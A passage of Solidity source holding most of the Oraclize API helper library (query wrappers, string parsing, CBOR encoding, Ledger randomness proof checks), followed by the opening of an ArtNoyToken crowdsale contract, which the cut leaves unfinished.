(getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; // Silence compiler warnings } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } using CBOR for Buffer.buffer; function stra2cbor(string[] arr) internal pure returns (bytes) { Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeString(arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeBytes(arr[i]); } buf.endSequence(); return buf.buf; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); // Convert from seconds to ledger timer ticks _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) // the following variables can be relaxed // check relaxed random contract under ethereum-examples repo // for an idea on how to override and replace comit hash vars mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; require(prefix.length == n_random_bytes); for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; // Buffer too small require(to.length >= minLength); // Should be a better way? // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // </ORACLIZE_API> //Abstract Token contract contract ArtNoyToken{ function setCrowdsaleContract (address) public; function sendCrowdsaleTokens(address, uint256) public; function getOwner()public view returns(address); function icoSucceed() public; function endIco () public; } //Crowdsale contract contract Crowdsale is Ownable, usingOraclize{ using SafeMath for uint; uint public decimals = 18; address public 